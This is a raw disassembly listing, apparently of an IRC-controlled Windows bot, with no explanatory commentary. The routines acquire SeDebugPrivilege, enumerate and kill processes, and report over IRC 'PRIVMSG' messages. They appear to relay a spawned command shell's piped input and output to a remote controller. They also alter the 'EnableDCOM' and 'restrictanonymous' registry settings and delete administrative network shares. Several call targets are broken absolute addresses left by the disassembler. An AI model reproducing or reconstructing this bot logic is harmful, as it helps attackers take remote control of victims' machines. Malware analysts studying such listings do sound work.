		cmp	dword_4CAFA8, ebx
		jz	loc_4198BB
		cmp	dword_4CAEB8, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CAFC4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CAFA8
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CAEB8
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_4396F0


loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2821129h
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439750
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		nop
		call	near ptr 26F0C74h
		test	eax, eax
		jnz	loc_41988F


loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CAFC4
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CAE64
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]


loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]


loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------


loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2


loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CAEB8
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx


loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx


loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax


loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 26F0C74h
		nop
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------


loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4398F0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_4398CC
		jmp	short loc_419977
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_4398A8


loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 267087Fh
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		nop
		call	near ptr 26F0C74h
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 265098Ch


loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 4396ECh, 6B1DE890h, 0E3EB0225h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB228
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi


loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB230
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi


loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB224
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi


loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB22C
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D158
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		nop
		call	near ptr 267053Bh
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------


loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20


loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB234


loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB228
		nop
		call	near ptr 282188Fh
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB224
		nop
		call	near ptr 2821537h
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19


loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		nop
		call	near ptr 267053Bh
		jmp	short loc_419B27
; ---------------------------------------------------------------------------


loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1


loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91


loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi


loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB228
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------


loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------


loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_439978
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		nop
		call	near ptr 26D0000h


loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439950
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26D0000h
		nop


loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_439920
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_43353C
		push	esi
		call	dword_4CB060
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB22C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D158
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2650CD2h
		test	eax, eax
		jnz	short loc_419D66


loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------


loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB228, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB230, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB224, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB268, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------


loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx


loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB234
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_4399DC
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43DEE8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		nop
		call	near ptr 2670603h
		cmp	eax, esi
		mov	dword_43DEF4[edi], eax
		jnz	short loc_419E12
		nop
		call	near ptr 2670E77h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_4399A8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax


loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D


loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26D0000h
		nop
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB074, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_438754
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_439C78
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------


loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_439C58


loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_419F17
; ---------------------------------------------------------------------------


loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439C28
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_439BD8
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------


loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_439BA4


loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------


loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_439B68
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------


loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_439B38


loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB09C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CAEE8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_439A00


loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_439B14
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_439AE8


loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_439A20
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------


loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C


loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_439AC4
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------


loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_439A98


loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi


loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB034


loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_439A70
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------


loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439A40
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB074, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438798
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_439DF0
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------


loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_439DD4


loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------


loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439C28
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
